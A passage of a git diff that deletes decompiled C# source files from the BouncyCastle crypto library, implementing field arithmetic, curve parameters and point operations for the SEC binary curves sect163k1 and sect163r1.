eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT131R2Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT131R2Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163Field.cs deleted file mode 100644 index b4e78cd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163Field.cs +++ /dev/null @@ -1,289 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163Field -{ - private const ulong M35 = 34359738367uL; - - private const ulong M55 = 36028797018963967uL; - - private static readonly ulong[] ROOT_Z = new ulong[3] { 13176245766935393968uL, 5270498306774195053uL, 19634136210uL }; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - zz[4] = xx[4] ^ yy[4]; - zz[5] = xx[5] ^ yy[5]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat192.FromBigInteger64(x); - Reduce29(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat192.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - Square(x, array); - SquareN(array, 1, array2); - Multiply(array, array2, array); - SquareN(array2, 1, array2); - Multiply(array, array2, array); - SquareN(array, 3, array2); - Multiply(array, array2, array); - SquareN(array2, 3, array2); - Multiply(array, array2, array); - SquareN(array, 9, array2); - Multiply(array, array2, array); - SquareN(array2, 9, array2); - Multiply(array, array2, array); - SquareN(array, 27, array2); - Multiply(array, array2, array); - SquareN(array2, 27, array2); - Multiply(array, array2, array); - SquareN(array, 81, array2); - Multiply(array, array2, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat192.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat192.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - num3 ^= (num6 << 29) ^ (num6 << 32) ^ (num6 << 35) ^ (num6 << 36); - num4 ^= (num6 >> 35) ^ (num6 >> 32) ^ (num6 >> 29) ^ (num6 >> 28); - num2 ^= (num5 << 29) ^ (num5 << 32) ^ (num5 << 35) ^ (num5 << 36); - num3 ^= (num5 >> 35) ^ (num5 >> 32) ^ (num5 >> 29) ^ (num5 >> 28); - num ^= (num4 << 29) ^ (num4 << 32) ^ (num4 << 35) ^ (num4 << 36); - num2 ^= (num4 >> 35) ^ (num4 >> 32) ^ (num4 >> 29) ^ (num4 >> 28); - ulong num7 = num3 >> 35; - z[0] = num ^ num7 ^ (num7 << 3) ^ (num7 << 6) ^ (num7 << 7); - z[1] = num2; - z[2] = num3 & 0x7FFFFFFFFL; - } - - public static void Reduce29(ulong[] z, int zOff) - { - ulong num = z[zOff + 2]; - ulong num2 = num >> 35; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ (num2 ^ (num2 << 3) ^ (num2 << 6) ^ (num2 << 7)); - z[zOff + 2] = num & 0x7FFFFFFFFL; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong[] array = Nat192.Create64(); - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - array[0] = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - ulong num4 = num & 0xFFFFFFFFu; - array[1] = num >> 32; - Multiply(array, ROOT_Z, z); - ulong[] array2; - (array2 = z)[0] = array2[0] ^ num3; - (array2 = z)[1] = array2[1] ^ num4; - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat192.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat192.CreateExt64(); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat192.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)(x[0] ^ (x[2] >> 29)) & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - zz[0] = num ^ (num2 << 55); - zz[1] = (num2 >> 9) ^ (num3 << 46); - zz[2] = (num3 >> 18) ^ (num4 << 37); - zz[3] = (num4 >> 27) ^ (num5 << 28); - zz[4] = (num5 >> 36) ^ (num6 << 19); - zz[5] = num6 >> 45; - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - num3 = (num2 >> 46) ^ (num3 << 18); - num2 = ((num >> 55) ^ (num2 << 9)) & 0x7FFFFFFFFFFFFFL; - num &= 0x7FFFFFFFFFFFFFL; - ulong num4 = y[0]; - ulong num5 = y[1]; - ulong num6 = y[2]; - num6 = (num5 >> 46) ^ (num6 << 18); - num5 = ((num4 >> 55) ^ (num5 << 9)) & 0x7FFFFFFFFFFFFFL; - num4 &= 0x7FFFFFFFFFFFFFL; - ulong[] array = new ulong[10]; - ImplMulw(num, num4, array, 0); - ImplMulw(num3, num6, array, 2); - ulong num7 = num ^ num2 ^ num3; - ulong num8 = num4 ^ num5 ^ num6; - ImplMulw(num7, num8, array, 4); - ulong num9 = (num2 << 1) ^ (num3 << 2); - ulong num10 = (num5 << 1) ^ (num6 << 2); - ImplMulw(num ^ num9, num4 ^ num10, array, 6); - ImplMulw(num7 ^ num9, num8 ^ num10, array, 8); - ulong num11 = array[6] ^ array[8]; - ulong num12 = array[7] ^ array[9]; - ulong num13 = (num11 << 1) ^ array[6]; - ulong num14 = num11 ^ (num12 << 1) ^ array[7]; - ulong num15 = num12; - ulong num16 = array[0]; - ulong num17 = array[1] ^ array[0] ^ array[4]; - ulong num18 = array[1] ^ array[5]; - ulong num19 = num16 ^ num13 ^ (array[2] << 4) ^ (array[2] << 1); - ulong num20 = num17 ^ num14 ^ (array[3] << 4) ^ (array[3] << 1); - ulong num21 = num18 ^ num15; - num20 ^= num19 >> 55; - num19 &= 0x7FFFFFFFFFFFFFL; - num21 ^= num20 >> 55; - num20 &= 0x7FFFFFFFFFFFFFL; - num19 = (num19 >> 1) ^ ((num20 & 1) << 54); - num20 = (num20 >> 1) ^ ((num21 & 1) << 54); - num21 >>= 1; - num19 ^= num19 << 1; - num19 ^= num19 << 2; - num19 ^= num19 << 4; - num19 ^= num19 << 8; - num19 ^= num19 << 16; - num19 ^= num19 << 32; - num19 &= 0x7FFFFFFFFFFFFFL; - num20 ^= num19 >> 54; - num20 ^= num20 << 1; - num20 ^= num20 << 2; - num20 ^= num20 << 4; - num20 ^= num20 << 8; - num20 ^= num20 << 16; - num20 ^= num20 << 32; - num20 &= 0x7FFFFFFFFFFFFFL; - num21 ^= num20 >> 54; - num21 ^= num21 << 1; - num21 ^= num21 << 2; - num21 ^= num21 << 4; - num21 ^= num21 << 8; - num21 ^= num21 << 16; - num21 ^= num21 << 32; - zz[0] = num16; - zz[1] = num17 ^ num19 ^ array[2]; - zz[2] = num18 ^ num20 ^ num19 ^ array[3]; - zz[3] = num21 ^ num20; - zz[4] = num21 ^ array[2]; - zz[5] = array[3]; - ImplCompactExt(zz); - } - - protected static void ImplMulw(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = array[num & 3]; - int num4 = 47; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3) ^ (array[(num >> 6) & 7] << 6); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 9) > 0); - z[zOff] = num3 & 0x7FFFFFFFFFFFFFL; - z[zOff + 1] = (num3 >> 55) ^ (num2 << 9); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - Interleave.Expand64To128(x[0], zz, 0); - Interleave.Expand64To128(x[1], zz, 2); - ulong num = x[2]; - zz[4] = Interleave.Expand32to64((uint)num); - zz[5] = Interleave.Expand8to16((uint)(num >> 32)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163FieldElement.cs deleted file mode 100644 index 7c9834d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat192.IsOne64(x); - - public override bool IsZero => Nat192.IsZero64(x); - - public override string FieldName => "SecT163Field"; - - public override int FieldSize => 163; - - public virtual int Representation => 3; - - public virtual int M => 163; - - public virtual int K1 => 3; - - public virtual int K2 => 6; - - public virtual int K3 => 7; - - public SecT163FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 163) - { - throw new ArgumentException("value invalid for SecT163FieldElement", "x"); - } - this.x = SecT163Field.FromBigInteger(x); - } - - public SecT163FieldElement() - { - x = Nat192.Create64(); - } - - protected internal SecT163FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat192.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat192.Create64(); - SecT163Field.Add(x, ((SecT163FieldElement)b).x, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat192.Create64(); - SecT163Field.AddOne(x, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat192.Create64(); - SecT163Field.Multiply(x, ((SecT163FieldElement)b).x, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT163FieldElement)b).x; - ulong[] array2 = ((SecT163FieldElement)x).x; - ulong[] y3 = ((SecT163FieldElement)y).x; - ulong[] array3 = Nat192.CreateExt64(); - SecT163Field.MultiplyAddToExt(array, y2, array3); - SecT163Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat192.Create64(); - SecT163Field.Reduce(array3, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat192.Create64(); - SecT163Field.Square(x, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT163FieldElement)x).x; - ulong[] y2 = ((SecT163FieldElement)y).x; - ulong[] array3 = Nat192.CreateExt64(); - SecT163Field.SquareAddToExt(array, array3); - SecT163Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat192.Create64(); - SecT163Field.Reduce(array3, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat192.Create64(); - SecT163Field.SquareN(x, pow, z); - return new SecT163FieldElement(z); - } - - public override int Trace() - { - return (int)SecT163Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat192.Create64(); - SecT163Field.Invert(x, z); - return new SecT163FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat192.Create64(); - SecT163Field.Sqrt(x, z); - return new SecT163FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT163FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT163FieldElement); - } - - public virtual bool Equals(SecT163FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat192.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x27FB3 ^ Arrays.GetHashCode(x, 0, 3); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163K1Curve.cs deleted file mode 100644 index d2932b1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163K1Curve.cs +++ /dev/null @@ -1,133 +0,0 @@ -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163K1Curve : AbstractF2mCurve -{ - private class SecT163K1LookupTable : ECLookupTable - { - private readonly SecT163K1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT163K1LookupTable(SecT163K1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 3; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 3 + j] & num2); - } - num += 6; - } - return m_outer.CreateRawPoint(new SecT163FieldElement(array), new SecT163FieldElement(array2), withCompression: false); - } - } - - private const int SECT163K1_DEFAULT_COORDS = 6; - - private const int SECT163K1_FE_LONGS = 3; - - protected readonly SecT163K1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 163; - - public override bool IsKoblitz => true; - - public virtual int M => 163; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 3; - - public virtual int K2 => 6; - - public virtual int K3 => 7; - - public SecT163K1Curve() - : base(163, 3, 6, 7) - { - m_infinity = new SecT163K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.One); - m_b = m_a; - m_order = new BigInteger(1, Hex.Decode("04000000000000000000020108A2E0CC0D99F8A5EF")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT163K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - return new WTauNafMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT163FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT163K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT163K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 3 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy64(((SecT163FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 3; - Nat192.Copy64(((SecT163FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 3; - } - return new SecT163K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163K1Point.cs deleted file mode 100644 index 301dcd6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163K1Point.cs +++ /dev/null @@ -1,257 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163K1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT163K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT163K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT163K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT163K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .AddOne(); - if (eCFieldElement10.IsZero) - { - return new SecT163K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT163K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT163K1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement b = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b2 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement2 = rawYCoord.Square().Add(b).Add(b2); - if (eCFieldElement2.IsZero) - { - return new SecT163K1Point(curve, eCFieldElement2, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement eCFieldElement4 = (isOne ? eCFieldElement2 : eCFieldElement2.Multiply(b2)); - ECFieldElement eCFieldElement5 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement2).Add(b2).Multiply(eCFieldElement5) - .Add(eCFieldElement3); - return new SecT163K1Point(curve, eCFieldElement3, y, new ECFieldElement[1] { eCFieldElement4 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = eCFieldElement3.Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.Multiply(eCFieldElement3).Add(b2).MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement5 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement6 = eCFieldElement5.Add(b4).Square(); - if (eCFieldElement6.IsZero) - { - if (eCFieldElement4.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement4.IsZero) - { - return new SecT163K1Point(curve, eCFieldElement4, curve.B, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement4.Square().Multiply(eCFieldElement5); - ECFieldElement eCFieldElement7 = eCFieldElement4.Multiply(eCFieldElement6).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement4.Add(eCFieldElement6).Square().MultiplyPlusProduct(b4, rawYCoord2.AddOne(), eCFieldElement7); - return new SecT163K1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT163K1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R1Curve.cs deleted file mode 100644 index 5326380..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163R1Curve : AbstractF2mCurve -{ - private class SecT163R1LookupTable : ECLookupTable - { - private readonly SecT163R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT163R1LookupTable(SecT163R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 3; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 3 + j] & num2); - } - num += 6; - } - return m_outer.CreateRawPoint(new SecT163FieldElement(array), new SecT163FieldElement(array2), withCompression: false); - } - } - - private const int SECT163R1_DEFAULT_COORDS = 6; - - private const int SECT163R1_FE_LONGS = 3; - - protected readonly SecT163R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 163; - - public override bool IsKoblitz => false; - - public virtual int M => 163; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 3; - - public virtual int K2 => 6; - - public virtual int K3 => 7; - - public SecT163R1Curve() - : base(163, 3, 6, 7) - { - m_infinity = new SecT163R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("07B6882CAAEFA84F9554FF8428BD88E246D2782AE2"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("0713612DCDDCB40AAB946BDA29CA91F73AF958AFD9"))); - m_order = new BigInteger(1, Hex.Decode("03FFFFFFFFFFFFFFFFFFFF48AAB689C29CA710279B")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT163R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT163FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT163R1Point(this, x, y, withCompression); - } - - protected internal override 